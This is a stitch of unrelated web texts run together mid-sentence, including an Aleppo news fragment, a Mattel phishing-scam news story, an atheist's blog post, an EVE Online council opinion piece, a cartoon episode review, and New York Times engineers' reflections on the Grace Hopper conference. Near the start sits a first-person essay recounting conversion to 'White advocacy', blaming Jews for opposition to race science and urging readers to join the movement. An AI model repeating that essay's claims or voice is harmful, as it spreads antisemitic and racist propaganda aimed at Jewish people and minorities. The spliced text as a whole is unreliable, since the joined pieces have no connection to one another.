Among the people waiting to leave eastern Aleppo are sick and wounded children, said the children's charity Unicef.
Some young children have been forced to leave without their parents, the charity said, and hundreds of vulnerable children remain trapped.
Who are Jabhat Fateh al-Sham?
Jeremy Bowen: Blame game startsGreg Johnson asked me to comment on my conversion to my present political views in his essay on William James’s ideas on religious conversion “The Psychology of Conversion” (December 17, 2013). I agree with the general point that people who convert have already come to accept a new set of ideas, so that conversion for me was a matter of re-prioritizing beliefs already there. As an evolutionary biologist by training, I was open to the idea that the human mind was shaped by natural selection. I could see that in many ways, particularly in the area of sex differences. But when scientists like J. Philippe Rushton came out with data on race differences in IQ, I saw this work as subject to the same standards of scientific scholarship as any other.
I had long been aware that the opponents of sociobiology were often the same people who made hysterical, blatantly political pronouncements on race differences, and from my days as a graduate student, I was aware that the most prominent among them were Jews in elite academic positions—most notably, Stephen Jay Gould and Richard Lewontin. Much of this then became the focus of Chapter 2 of The Culture of Critique, which may be seen as a sort of intellectual, footnoted version of what started out as a gut level reaction to my surroundings and readings as a graduate student in the 1970s.
And at an even more basic level, an appreciation of the process of evolution makes one aware that the name of the game is competition between different gene pools—a basic idea underlying my writing on Judaism from an evolutionary perspective. Again, the same people who were trashing sociobiology and the science of race differences were creating an evolutionary biology of humans in which fitness (what Frank Salter labels “ethnic genetic interests”), particularly relative fitness between groups, didn’t matter at all. Quite frankly, I became very concerned about the future of the people from my gene pool—would we prosper in the future, or even survive at all. Going the way of the dinosaurs is more than an expression. Where are the Samaritans now? The decline of Whites and their culture is happening with breathtaking speed. As humans, we can decide not to play the evolutionary game. But if you don’t play, you lose. Animals instinctively play the game—they are engineered to do nothing else. But at this point and given the importance of culture for humans (the culture of White pathology), White people have to decide that the game is worth playing and that it is morally acceptable to play.
When my books on Judaism from an evolutionary perspective came out, I was contacted by individuals who had a long history of involvement in White advocacy and who had understood Jewish issues (often beginning at their father’s knee or from personal experience or from reading someone like Wilmot Robertson). At that point, I was ready to be converted into someone for whom these issues are at the very center of personal identity. Like Greg, I did not become converted because of the educational efforts of the racialist right. Rather, it was a personal odyssey of discovery which led me in their direction.
In doing this, the most difficult thing was dealing with the moral stigma when one comes out as publicly identified with White advocacy and criticism of Jews—also the case with Greg. This underscores the critical importance of attending to the moral case for White advocacy. But when the inevitable explosion happened at my university, resulting in ostracism and vilification, it helped greatly to know that other people I respected believed as I did and valued my contribution.
In effect, I had jettisoned one moral community for another. I had come to see my former moral community as not only intellectually bankrupt, but also highly immoral because the policies they were advocating would be a completely undeserved disaster to the traditional people and culture of the West. I came to realize that the emotions and attitudes of those advocating these positions were typically motivated by hatred of the traditional people and culture of the West rather than love of abstract, universal humanity that often appeared as the surface.
Even these convictions were not enough to completely compensate for the hatred directed at me by colleagues, particularly Jewish colleagues, at my university. But with time, it gets easier. And I think there is a grudging, if tacit, respect among many White faculty, realizing, as they must, that their own political options are very narrowly constrained and seeing with their own eyes the consequences of White displacement that is occurring throughout the university.
So I agree that information alone cannot produce conversion. In my case and I suspect for many others, it requires discovering a supportive community of like-minded people. As Greg notes, “Life often forces us to choose between subjective happiness and greater goods.” That’s very true. You may have to give up some aspects of personal happiness to be a committed White advocate. But there also is a great deal of solace in finding a supportive community.
The topic of conversion is central to how we move ahead. I recently came upon Understanding Religious Conversion, by Lewis R. Rambo (Yale University Press, 1993), which is something of a classic in the field of the psychology of religious conversion. Rambo argues for the following sequence which seems relevant to what happened with me and likely many others:
Context: The context of conversion was the above-described disenchantment with the politically motivated attacks on sociobiology in the 1970s and the attacks on race differences research in the period after J. Philippe Rushton integrated race differences research with evolutionary biology in a compelling manner. (Jensen’s pioneering research on race differences in IQ was not an influence probably because, as an evolutionary biologist, behavior genetics research was not at the center of my intellectual world.) I was also troubled by Reagan’s immigration amnesty and I had developed negative attitudes toward the power of the Israel Lobby during the 1976 presidential campaign when, ironically, Jimmy Carter pledged fealty to Israel during a campaign appearance in New York. These were not sufficient to produce a conversion to White advocacy, but they were the context in which it occurred—increasing disenchantment and anxiety over a number of issues, reinforced now with my reading on Jewish influence.
Crisis. Rambo proposes that the crisis typically comes before the person encounters advocates of the new framework—that people often seek out conversions, and I suppose that would apply to me. “During a severe crisis, the deficiencies of a culture become obvious to many people, thus stimulating interest in new alternatives.”
Many of us believe that the system as presently constituted is unsustainable in the long run, but even in the short run there is a much-commented-on feeling of anger and dissatisfaction in White America, seen, for example in the Tea Party movement — a sense of uncertainty about the future and a sense that the country they grew up in is fast disappearing. As Greg notes,
Like Communism, the American system is becoming increasingly hollow and brittle as more whites decide, in the privacy of their own minds, that equality is a lie, diversity is a plague, and the system is stacked against them. But they do not act on these convictions because they think that they are basically alone. If they slip, they know they will be persecuted, and nobody will come to their defense. (Nobody but those people.) But if the system’s ability to stifle dissent wavers long enough for people to realize that they are not alone, then things can change very quickly. And such changes hinge on moral factors, not information.
In other words, more and more Whites have entered a crisis mode where comforting bromides about diversity as “our greatest strength” and the moral imperatives of Whites ceding power and of egalitarian outcomes in all areas of life seem nothing more than lies propping up a corrupt, anti-White system. But they need to find support groups of like-minded people.
Quest: The crisis sets off a search for new ideas and new support groups. Rambo notes that in order for conversion to occur, the person must be connected within a religious community. The analogy here is obvious. Quite possibly, this could result in finding the many sites on the Internet that now put out intelligent commentary from a White advocacy point of view. These days, people who are in a quest for a new perspective and a new support group centered in White advocacy have lots of options available.
Encounter: Rambo notes that close personal friendships in the conversionary group are important: “personal relationships are often important in the validation of a new belief system. … Even when a conversion is intellectual in content, the presence of friendships or a system of support provides a critical milieu in which the person can explore intellectual and spiritual issues” (109–110). In coming out as a White advocate, it certainly helped that I had formed friendships with people like J. Philippe Rushton as well as others at various conferences and events.
Interaction: Encounters lead to interactions, which Rambo describes as an “intense and critical” part of the conversion process. Unlike the stereotypes promoted by the media, I found that a great many of the people I was now interacting with were warm, well-adjusted, intelligent people, resulting in relationships that are very personally rewarding. Without these relationships, I very much doubt that I ever would have made a public commitment to White advocacy. Living in a highly populated area like Southern California where the negatives of diversity and White displacement are starkly apparent, many of us look forward to regular social events at the local level with like-minded others.
Sometimes I get emails from people who are intellectually on page but don’t know anyone they can talk to and relate to in a personal, face-to-face manner. It may take a while depending on one’s geographical location, but the general malaise of White America means that there are actually quite a few people who are potential friends. One just has to work at it. For example, going to a public conference, such as the recent National Policy Institute in Washington, DC, would be a good place to meet like-minded others and develop friendships and the social support necessary to maintain commitment.
Similarity in age is very important. Recently Matt Parrott noted in his comments on the October NPI conference, “since I first started doing this work in my early twenties, the Left has teased us for being a dying breed, a handful of crusty geezers who are ‘afraid of the future.’ There was some truth to the charge when I first started, but the tide’s been turning for a while now.”
I’ve noticed the same thing (although I have to acknowledge that I am getting to be part of geezerdom myself.) Lots of great young people are now well-established in the movement.
Commitment: Becoming a completely committed convert is a gradual process, with greater levels of commitment forged as one becomes more comfortable in one’s new milieu and more confident that it has at least partially adequate substitutes for the satisfactions and solaces of one’s previous social milieu. Part of what this means, however, is that all involved in White advocacy should do their best to make White advocacy a supportive, welcoming environment. All of us understand that for many, there is still a very large price to pay for coming out publicly, including job loss, so we have to be tolerant of different levels of commitment and public exposure, as Greg also advocates.
Consequences: The consequences of conversion can be profound both at the level of the individual and, we hope, eventually at the level of society. At the individual level, Rambo notes that all strong cultures reward conformity and punish deviance and that, in general, people who convert under hostile circumstances are marginal people. At this time, White advocacy is a deviant idea, very much subject to punishment, and all of us in the White advocacy movement have seen our share of marginal people. However, as noted, the good news is that we are beginning to attract people who are not marginal at all, well-educated, bright, attractive people who can become good friends and dependable, responsible, effective members of the White advocacy community.
The future is bright indeed.A finance executive fell victim to a phishing scam that saw the Los Angeles-based maker of children’s toys wire a cool $3 million to Chinese hackers.
Expertly timed during a period of corporate change, the email hit the inbox of the unnamed executive and requested a new vendor payment in the amount of $3 million to a vendor in China. Mattel, of late, has been in a period of change as new CEO Christopher Sinclair had only officially taken over after Mattel had fired his predecessor — a move that aided the con artists.
The phishing email was unremarkable and came directly from Sinclair, or so the executive thought. She was wrong.
Mattel protocol requires that fund transfers be approved by two high-ranking managers, she was one, and Sinclair — who she believed requested the funds — was another. Satisfied that she’d complied with protocol, the executive wired over $3 million to the Bank of Wenzhou, in China.
It wasn’t until hours later she mentioned the payment to Sinclair before figuring out that something was amiss. Mattel executives then tried to stop the transfer but the bank informed them that it had already made its way to China.
The chances of Mattel getting the money back were slim, bordering on none due to China’s emergence as a global hub for money laundering. Luckily for Mattel, slim isn’t none.
The transfer took place on a Friday, which happened to be a bank holliday. This bought the company time — the money couldn’t be retrieved until the bank opened the following Monday. Mattel used the time wisely and, with cooperation from Chinese authorities, were able to reclaim the wired cash.
After a hard lesson learned, maybe companies will take a little time to educate their employees on the dangers of phishing. But, it’s far more likely that they’ll continue to ignore the problem and hope it goes away.
Mattel got lucky, phishing scams don’t usually have a happy ending.
Cyber-thieves pose as Mattel CEO to steal millions on NBC Columbus
Read next: You can catch the NCAA Final Four games in VR this weekendOn the plane from Columbus to my connection in Phoenix, I was sitting next to a very nice woman who, during the course of our flight, hauled out her bible. At one point she asked what I did for a living and, as usual, I was candid: I’m an atheist for a living.
You can imagine the conversation that immediately sprung up. It is a very sad fact of the universe that being nice has an effect of absolutely zero on how correct a person is. Otherwise Christianity would have a dog in the hunt for truth. This was consistently what I thought when conversing with “N”, the missionary.
She opened with Pascal’s Wager, and I calmly explained to her why the Wager is not compelling not only to me, but also to her for any other religion. I also noted how it is not an argument for truth, but only a response to a threat, and as such it could be used in defense of any assertion, no matter how preposterous, so long as it included a threat. This is a way to empower our fears, but not a good way to arrive at the truth.
She then pulled out a stack of business cards and had me select one at random. I got Matthew 7:7 (the chapter and verse of which I correctly identified, go me knowing my bible!).
Ask and it will be given to you; seek and you will find; knock and the door will be opened to you.
I informed her that this was simply false. I had asked for a good reason to believe, not only of other believers consistently over the last several years, but also of god even as my faith slipped from my still-grasping fingertips. I had also sought, as was evidenced by my ability to note scripture and verse from memory. I have read the bible as well as an impressive catalogue of other religious texts. I’m good on the whole seeking thing. Compare this to the Christian population only 10% of which, statistics show (see Bill Killer Ministries), have read the bible in full. If I am not knocking on god’s door, then neither are most believers. The bible, in Matthew 7:7, is wrong.
Then it was the moral argument. Again I calmly explained to her why that didn’t work. This happened repeatedly with different approaches.
Now, when I’m talking with a religious person, aside from listening and trying to communicate, I’m looking for something specific. I’m looking for that pause after I rebut something they’ve said when I can see them realize that there is an inconsistency they can’t account for. They may stutter and throw out something, anything, to try and justify the inconsistency, but as long as the cogs start turning, I’m pleased. Those are the times when you get the email four months later telling you that they have changed their mind about something. This was not happening with “N”.
So I asked “N” that if there was no god if she’d want to know. Immediately her response was that she wouldn’t. From there I could point out that it is impossible to be in search for the truth if you’d rather be wrong than know it. A person in those shoes has no ability to learn honestly, to improve the reliability of their beliefs, or to converse honestly, since anything the other half of the conversation says can have no effect, no matter how reasonable. Faith of this kind, I said, disconnects us from other people.
“N” asked what she could read to become more familiar with atheism. I told her not to waste her time. Until she placed a higher premium on the truth rather than the preservation of her own beliefs, it would be useless. By the end, and very much to her credit, she changed her mind. If there was no god, she said, she would want to know.
We need not change a person’s mind entirely in one sitting, that’s not feasible for the most part. But we can nudge them into appreciating the value of reason. If everybody were more willing to do so, we’d see this world change for the better much more rapidly. Yeah, it’s a headache having to hold somebody’s hand and guide them through simple deductions, but what else can we do? If we want to change the world, it starts with all of us being willing to change the little things. That means connecting with others, and that means that sometimes we need to be patient while still being honest.The store closed Sunday and the Gap Outlet shop should open by the fall, according to the 82nd Street Partnership. View Full Caption DNAinfo/Katie Honan
JACKSON HEIGHTS — A Gap Outlet store is set to open by the end of the year in a former Rite Aid space on 82nd Street — the second such store in the borough, according to the director of the street's business improvement district.
The large pharmacy at 37-32 82nd St. closed its doors Sunday. It will be subdivided and the Gap store will take over two-thirds of the space, said Seth Taylor from the 82nd Street Partnership.
The owners of the building haven't announced the tenant that will occupy the other third of the location. "It looks like they may be ready to open their doors fall 2014," Taylor said of Gap.
This would be the second Gap Outlet shop in the borough, with another store on Jamaica Avenue in Jamaica.
"We think it'll be a great addition to the 82nd Street shopping corridor," Taylor said.
"As an |
not serve due to unexpected personal reasons, choosing to step out rather than make a farce of the seat. However, he is still passionate about the work that CSM does and the following is his take on the debate that has been developing in the community of late regarding the communication, or lack thereof, coming out of the council. We’d like to remind readers that these are his opinions and should only be taken as such. – Niden
Today, a thread was published on reddit.com/r/eve regarding the state of the CSM now that we’re 20% of a term in. You can read it here. I’m the guy who would have been on the council but turned it down, so while I realise that it’s very easy for me to run my mouth while not actually being in their shoes, consider this my attempt to articulate mine and others concerns regarding the CSM which have been raised as a result of the recent discussion. I consider multiple members of the council personal friends who I know to be working their asses off at the job of CSMing, and I do not regret at all endorsing or voting for them, or my decision to pull out after voting ended for that matter.
Thus far, thankfully, we have had no major drama incidents, mad leaks, players being removed, public hostility between members, or anything of the sort. I and many others have found many of the current council to be very available and up for discussion on multiple platforms such as reddit, ingame, Twitter, Slack, etc.
a disappointing lack of broader communication from the council
However, the post raised the issue that while there has been some fantastic one-on-one discussion and small group discussions through these mediums and more with the player base, there has been a disappointing lack of broader communication from the council. Thus far we have Jin’taan’s spreadsheet listing meeting attendance and minor summaries of the core weekly meetings that occur, which is fantastic. What is less fantastic is that thus far, only he is being publicly visible to the community as a whole.
Further, this statement made by Jin is one I find exceptionally disappointing:
“No offense man, but very few of those who are elected are as publicly facing as that CSM was. You had a LOT of full time writers and bloggers, our only real community facing member is Bobmon, with the rest being more subject matter experts, which is why we’re quiet.”
Now, Jin is a good man, a friend, and I have no doubt that he is doing a wonderful job advocating for the players to CCP. The part of not being publicly facing however is absolute horseshit. With the exception of perhaps Aryth (who we’ll get to later) each member of the CSM ran a formidable campaign to get publicly elected in the first place. There were forum posts, podcast appearances, AMAs, so much that proved that not only were you capable of such “public facing”, but that you were capable of doing so in a manner that the playerbase appreciated and connected to and based upon which they voted you all in. If you want to pick out Bob specifically, he started “Bob’s Corner” on EN24 shortly before the elections. A brief scroll through EN24 shows that that stopped on March 14th, shortly before voting ended. This along with EN24 as a whole could have been a great platform for him to regularly update us on his personal experiences within the CSM.
many players are left feeling cut out
I like Bob, I’ve enjoyed hanging out with him at #EVE_NT and his passion for the game is clear. I absolutely believe he is working hard behind the scenes to advocate for the playerbase. However, my point is that so many of you showed the ability and skill to communicate to a wide portion of players in a meaningful way in order to get elected, which has almost entirely disappeared post-election. You showed you could do it, claimed to have the appropriate time in your real lives to set aside for your CSM duties (of which I would consider communication one of the most important), and yet many players are left feeling cut out in near radio silence.
I absolutely understand that the NDA can be a restrictive bitch. I had a minor taste of it the two times I commentated the Alliance Tournament, being a CSM member must be orders of magnitude more restrictive and frustrating. The majority of (reasonable) players can absolutely understand and respect this, and again, the one-to-one and small group interaction has been stellar, but exclusively waiting for people to come to the CSM is insufficient. I would personally be absolutely satisfied with something like the following which I posted in the aforementioned reddit thread. Even though it doesn’t actually give any information, it reassures the players that their voice is being heard and that the CSM is doing its job.
“Hey guys, MrHyde here.
This past 2 weeks everyone on the CSM has been working really hard, we have raised these [insert issues here] that multiple people have brought to us with CCP, and CCP agree that these are problems the need addressing. Obviously we cannot give a timeframe on any changes or what these changes may be, but please know that we are bringing them up regularly and are pleased/satisfied/unsatisfied with how well CCP are taking on our feedback.
(If applicable) As of the moment, we are especially interested in feedback on topic N as it is something we CSMers want to provide more to CCP on.
Hugs and kisses, death to the frigate menace,
MrHyde”
Nothing that could possibly break NDA, but it reassures players that their voices are being heard, publicises the existence of the CSM and confirms its continued value – all while taking maybe 5-10 minutes max to write. Sure, you could argue that some players will then demand a timeframe for releases or details which obviously cannot be supplied, but it would certainly be much of an improvement.
‘Repairing the relationship between the CSM and the playerbase’
A big part of the issues discussed during the election cycle was “Repairing the relationship between CCP and the CSM,” and “Repairing the relationship between the CSM and the playerbase,” after more and more bad news came from CSM 10, which seemed to resonate through CSMs before that too. Little updates every two or three weeks from various members in a public venue would go leaps and bounds to help not only to allay fears or cynicism, but further promote the CSMs value and get more people potentially interested and voting for the next election.
Now, the Aryth thing. Understandably, people have expressed concerns that he hasn’t had great meeting attendance, along with some other CSM members. It is entirely reasonable that US nerds or anyone really may have scheduling conflicts that prevent them from attending those meetings, and it’s great that as MrHyde mentioned that they are recorded and made available for those who could not attend. However, in the specific case of Aryth and Xenuria, one of the ideas floating around is that they were being elected to “punish” CCP, entirely to cause issues and if nore be useless, be directly counterproductive.
Almost from the first week we have heard that Xenuria has in fact been incredibly active, doing a wonderful job with his unique perspective and contribution to discussions. It’s actually hard to bring him up without a CSM member coming out of the woodwork to defend him. The same cannot be said of Aryth. Those of us who aren’t just trolling and searching for drama would like a simple statement that Aryth has in fact been a sufficiently active and valuable member of the CSM thus far for the duration of this term. The trolls and “grr Goons” will never go away, but given the circumstance of his election it again does not seem unreasonable to ask.
To be clear, I am under the impression that CSM 11 has been doing an exceptional job working with CCP, that relationships are positive and productive and I could not be happier with that given how CSM 10 came to an end. Several CSMs came out and made multiple replies in the thread I linked at the beginning very quickly, which is awesome, but it should not take a thread like that to pull CSMs out to speak more publicly. We love you guys, we’re just a bit insecure and sometimes need to be reminded en-masse that you love us back, okay?
Did you enjoy this article? Please consider supporting Crossing Zebras.Original Airdate: April 19, 2010
Written & Storyboarded by: Luther McLaurin & Armen Mirzaian
I mentioned in my last review that I thought “The Enchiridion” would’ve been more suited as the series premiere, and being paired with “The Jiggler” only solidifies this belief. “The Jiggler”, in many respects, highlights the fun and charm of the series that “The Enchiridion” displayed, but this episode also has the distinction of showcasing the more emotional side of the series.
The episode starts off with Finn singing his “Baby” song in his auto-tuned voice, as he and Jake rescue Stanley the watermelon from a morbidly burning village. Hey, the first AT song to ever be sung! I love how absurdly this episode starts out by the way; a town is on fire, Finn rescues a seemingly lifeless watermelon named Stanley and his family, including a sausage link, a pineapple, banana and marshmallows. What the fuck is this watermelon’s story? As they set down Stanley and his family, a little baby creature follows the duo and whistles along to Finn’s song. Finn and Jake take a liking to the little “Jiggler” and bring him back to the Treehouse. Hey, this is also the first time we see the Treehouse! F&J decide to welcome the baby Jiggler by, of course, having a dance party. After partying all day long (and destroying some of their belongings for the fun of it) Jake passes out, and Finn takes the Jiggler to bed. It’s a nice quiet moment after a very energetic few minutes, and it’s certainly welcomed.
(Had to include this screenshot just because of how friggin’ insane it is. Leg crotch!)
The next morning, Finn and Jake are ready to party once again, but the Jiggler seems a bit sickly. F&J try to find some food for him to eat, including purple whatevers, but come to the conclusion that the Jiggler likes to eat drawings. Finn then draws a picture of Jake, wanting the Jiggler to eat the drawing. Not cool, Finn. You don’t have a Jiggler eat your best friend. Things go really awry when the Jiggler starts spewing juices out of its holes (sounded a lot less dirty before I started proofreading), and F&J desperately try to plug them up using Finn’s glass eye collection and Jake’s eyepatch collection. This only very briefly works, and the Jiggler explodes its juice everywhere (again, a lot less dirty before proofreading), and its body parts and limbs start flying around the room. F&J try to put him back together, to no avail. Finn concludes that they shouldn’t have taken the baby, and tries to revive him using kisses. This scene’s pretty hard to watch, man. It certainly doesn’t rank anywhere near the show’s most devastating moments, but watching a young boy in desperation trying to revive this poor baby creature is really sad, honestly. Finn clearly blames himself for the Jiggler’s state, and wants to do anything he can to help it.
Using its own kisses, the Jiggler makes a picture of his mother, and the boys conclude that his mother must live near Stanley’s house. The boys find the mother, but the Jiggler’s mom rejects her baby. Finn angrily shouts at the Jiggler mommy, and tells her she’s supposed to love her baby. I thought this scene was especially interesting, given Finn’s future relationship with his father. Obviously it was unintentional, but Finn’s psychological belief that parents should love their children no matter what is only more heartbreaking when his father doesn’t seem to care from him at all. You could also argue that Finn’s relationship with Margaret has led him to believe this too, which is generally the most heartwarming approach toward it. Jake realizes that the baby needs it’s mother’s scent for it to be recognized, so Finn tosses the baby in its mother’s juice. The mother and baby reunite and Finn and Jake leave the baby behind.
As I mentioned, this episode has a pretty decent emotional core. F&J’s investment in the Jiggler is particularly strong, and even though they’re only together for a short amount of time, you can tell that the two boys deeply care for this creature. Besides tugging at the heartstrings, this episode’s wildly silly as well. I really love Finn’s “Baby” song, and it’s fun to see that his auto-tuned voice later carries over to future episodes. In addition, this is one of the first laugh out loud episodes of the series. There’s a lot of really absurd and off-the-wall humor in this episode (“He’s all over the place, even in the floorboards!” “And the cupboards!” “And the galloshes!”) that AT is really known best for. Personally a very memorable episode from the first season for me.
AdvertisementsIs there anything more technologically ironic than the holy holy holy union of a mechanical watch and a fountain pen? Who cares, Richard Mille's new S05 Mechanical Fountain Pen is every kind of awesome and one other kind of awesome that hasn't been invented yet. Remove the cap, press the button on the end, and the so-called recoil escapement pushes the white gold nib out of the front of the pen.
Recoil escapement. Can't just throw that term out without explaining it, so here: A recoil escapement is a series of interconnected levers, gears, and springs that stores energy with the intention of releasing it in a pushing or striking motion. In the watch world, you'll most often see it used in minute repeaters, watches that will chime the time when you hit a button. Safe to say this is the only fountain pen that uses it. You "reload" the pen when you put the cap back on—transferring mechanical energy back into the escapement.
After all that wizardry, it's easy to overlook the pen's exterior, which itself is pretty cool: it's NPTP carbon, the same material used in the sails of racing yachts.Tessa Ann Taylor/The New York Times
Members of The New York Times Developers recently made their first group trip to the Grace Hopper Celebration. At 15,000 attendees, GHC is the world’s largest gathering of women in computing. We chose it because nowhere else could we find so many women software engineers coming together to talk about what we do with technology, and what it’s like to work as a woman in technology.
The conference was overwhelming and…dare we say it…awesome. Not only did we meet hundreds of women from all sorts of backgrounds, industries and levels of experience, we ourselves got the opportunity to let people know the breadth and depth of our work. Those things alone made the experience worth it.
It is rare to see so many women technologists all at once, and the experience made us reflective in a way that felt important to share. So below, some thoughts from some of the team that attended.
I came to the Grace Hopper Celebration representing The New York Times with the hope that my presence and interactions as an underrepresented woman of color could encourage women of all shades and labels to continue exploring roles in technology. What I got in return was that plus so much more. Not only did the conference re-energize my love for all things code, it solidified the importance of being a role model for engineers who are also women of color. It was gratifying to have young women come up to me and tell me how reassuring it was to see a face that looks a lot like theirs talking to them about what it is like being an engineer at The New York Times. The conference also ignited a firestorm of ideas for exploration in solving civic and social problems using data and diversity considerations in natural user interactions for emerging technologies.
I learned that I am capable of a lot more than I may give myself credit for and that I can use my vast experience as both an engineer and an artist to become a person of influence. More importantly, I discovered there is still so much work to do to advance women in technology, so many open questions that need to be answered, and many conversations that need to be had. Looking ahead I want to continue searching for gaps in diversity that have yet to be bridged and help the The New York Times diversity initiative stay dynamic and progressive, while continuing to raise the bar with innovative thinking.
—Corina Aoi, Software Engineer, Home team
I left Grace Hopper thinking about what it means to be an ethical programmer. As software engineers we are continuously making architectural decisions, like how to store and interpret sensitive user data. These choices carry weight, and have real, sometimes unforeseen, consequences.
This year’s first keynote speaker was Dr. Latanya Sweeney, who is the director of Harvard’s Data Privacy Lab, focusing on data privacy and the societal impact of technology. Her keynote speech covered her most famous research findings that proved algorithm-based ad delivery can perpetuate racial discrimination. She first became aware that this was even possible when a search of her name surfaced an ad falsely suggesting she’d been arrested. Her research proved this was a systemic problem, with far-reaching implications.
We know that there is a diversity problem, but we don’t know how that lack of diversity costs us. The rise of the internet has had a meaningful impact on all our daily lives; women and other underrepresented groups need to be given a voice in shaping what our online reality looks like. I’m bringing back from Grace Hopper an increased sense of responsibility to advocate for diverse perspectives at The Times.
—Nicole Baram, Associate Engineer, Subscriber Experience Group
Just being in a space where the minority becomes the majority was disorienting and exhilarating. The presence of the students — so many highly qualified young women at the very beginning of their careers — was energizing and provided a glimpse into a future when technology teams will be more diverse. In the workshops, I discovered just how much we are not alone in the challenges we face in recruiting, retaining and advancing women in technology. I learned that important factors in retaining and developing women include dealing with a lack of role models and the feeling of isolation, and lack of support of a robust women’s community. One aspect of my experience that may end up being the most significant takeaway over the long run, was making contact and building a network of powerful women who are effecting organizational transformation in their companies throughout the industry. I’m hoping to continue to mine their insight and experience as I contribute to the planning and execution of Women’s Network initiatives here at The Times.
—Rachel Goldstein, Director, Advertising Layout & Production Systems
My intention at the Grace Hopper Celebration was to learn from other companies about retention and advancement. My experience was quite moving in an unexpected way. For the first time, I was surrounded by 15,000 people who support women in computing. It was quite the contrast from the tech environments I have been in in the past. I was in a majority group: straight white female — among other subgroups such as women of different racial backgrounds who code, lesbians who code, etc. I was able to relate to the straight white male in a way — learning that subgroups have challenges dissimilar to my own, wanting to help, curious and nervous of how much I belong, but unsure how to contribute. I will bring this learning back to The New York Times, to embrace inclusion as we expand the scope of our programs from women in digital to diversity in digital. As we broaden our diversity initiative, I will dedicate myself to digging deeper into the unique challenges of subgroups, bi-racial, moms, LGBTQ-A, and others. I will encourage an open, welcoming environment to be able to ask questions at the risk of using wrong language for the sake of learning.
—Jessica Kosturko, Development Manager, Article Experience team
I had a non-traditional path through the study of computer science — I began my studies at an all-girls high school (Annie Wright School in Tacoma, Wash.) and received my degree from a women’s college (Smith College in Northampton, Mass.). Attending these institutions meant that I spent my time as a female computer science student as the rule rather than the exception. That is the power of Grace Hopper — the next group of female engineers (as well as current engineers) get to spend a few days as the rule. We’re surrounded by people who look like us, and we can seek inspiration, find solace, and learn from each other. I particularly enjoyed the LGBTQ-A lunch — I’ve never seen that many queer techies in one room. Who knew there were so many of us?
Though Grace Hopper is a nice respite, the lack of female and minority representation in computer science is very real. I focused my time at Grace Hopper on ally-ship — what it means to find and nurture allies and what it means to be an ally. I first attended Sharon Mason’s talk about empowering and engaging male allies, “Advocates and Allies: Engaging More Men in Institutional Transformation.” She pointed out that women are often stretched thin acting as gender equality advocates, unconscious bias educators, etc., in addition to our regular responsibilities. To redistribute this workload, Sharon suggested empowering male allies to share responsibility for this extra work by training other allies and taking on equal responsibility for promoting gender equality. To learn how to be a better ally myself, I also attended Hazel Havard’s talk, “Trans Issues in Tech.” She brought up issues that’d I’d never considered, like the discomfort of having to select a gender on HR onboarding forms, and the struggle to choose a gendered bathroom or find a gender-neutral bathroom.
In an ideal world, conferences like Grace Hopper wouldn’t need to exist because “women in computing” would be synonymous with “people in computing.” I will keep pushing for that day, and until then, I look forward to next year’s Grace Hopper Conference.
—Tessa Ann Taylor, Senior Software Engineer, Content Management Systems (CMS)
Going to Grace Hopper was something I pushed for at The Times, and I was fortunate to have the support of upper management to make it happen. We wanted to meet other women in the profession. We, as women technologists at The Times, wanted to be more visible in the community. And each of us defined personally important aspects of diversity in a way that could make our collective outcome more inclusive.
I am one of the approximately 6 percent of Americans who identify as Asian. As someone whose personal, racial and ethnic history in the U.S. contains explicit acts of exclusion, inclusion broadly defined has always been my personal and professional motive.
It was neat to be able to talk with women who look like me and represent the broad spectrum of what it is to be Asian in America and around the world. The attendees we met made a point to tell us how excited they were to talk us, the technologists who make it possible for New York Times journalism to reach the public. It was a good reminder that our engineering work matters — and that our perspectives as a team of diverse women matter too. Our input shapes the company’s technical output and its culture, and our presence shows others that it is possible to couple the desire to work in technology with the desire to do work that means something to others.
The “old-school Chinese” part of me can’t bring myself to talk about pride, but gratitude is universal. I’m grateful to the people outside The Times who, thanks to GHC, are including us in their efforts to create vibrant networks of local women technologists. I’m grateful to have had the chance to work alongside my colleagues — each of whom work on different teams within The Times — to bring our best game to the conference. And I am looking forward to the changes that will come because of what we are bringing back to The Times.
—Chrys Wu, Developer Advocate, Technology
Marcella ParkThe Pennsylvania State Police have raided a Delaware County political field office seeking evidence of possible voter-registration fraud, according to court records.
In a warrant filed late last week in county court, investigators said they were seeking documents, financial information, and lists of employees at the Norwood office of FieldWorks LLC, a national organization that often does street work for Democrats, records show.
The warrant didn’t specify the nature of the probe, but said agents also were looking for “templates…utilized to construct fraudulent voter registration forms” and “completed voter registration forms containing same or similar identifying information of individuals on multiple forms.”
A Delaware County judge on Friday afternoon signed the search warrant, but it was not iinown when it was executed. The warrant application was approved by the Pennsylvania Attorney General’s office. Jeff Johnson, a spokesman for the attorney general’s office, declined to comment.
In a statement Monday, a spokesman for FieldWorks’ national headquarters in Washington, said the company has “zero tolerance for fraud.”
“FieldWorks is now working with county officials to provide them with information on our program and applications they are investigating,” said the spokesman, Matt Dorf. “In keeping with our regular practice, we will work aggressively with authorities to seek the prosecution of anyone involved in wrongdoing.”
FieldWorks describes itself as “a nationally recognized grassroots organizing firm founded to help progressive organizations, advocacy groups, and members of the Democratic family take their public engagement and electoral strategies to the next level.” It was founded in 2001, according to its promotional information online.
The company did not respond to requests for comment on which campaigns or political groups have hired them to work in Pennsylvania.
In 2012, Fieldworks’ voter registration efforts in Ohio sparked some controversy. Fieldworks employees filed thousands of new voter registration cards in the final week before the registration deadline. Some of them were found to be fraudulent.
In that same election, Fieldworks included a cover letter with its mass voter filing warning that it itself viewed scores of the submitted names as fraudulent.
Police in Cincinnati arrested a former Ohio University student in 2012 working in Fieldworks on charges of forging 22 signatures on a petition drive. Police said at the time that Fieldworks itself played no role in that man’s scheme to pad his list.
Staff writer Craig McCoy contributed to this report.
___
(c)2016 The Philadelphia Inquirer
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, 9.9 out of 10 based on 7 ratingsWE THE PEOPLE NOT WE THE BLM
Stand and Fight for your Rights Against BLM and UN Agenda 21/2030
BLM’s SELF HISTORICAL TIMELINE (1776 -2017) BLM Timeline
With historical roots dating back to the earliest days of the nation, the BLM administers the lands that remain from America’s original “public domain.” Created in 1946 through a government reorganization during the Truman Administration, the BLM is the successor to the General Land Office (established in 1812) and the U.S. Grazing Service (originally called the Division of Grazing and renamed in 1939).
This year (2016), the BLM is commemorating two milestone events: its 70th anniversary as an Interior Department agency, and the 40th anniversary of the principal law defining its mission: the Federal Land Policy and Management Act of 1976, commonly referred to by its acronym of FLPMA.
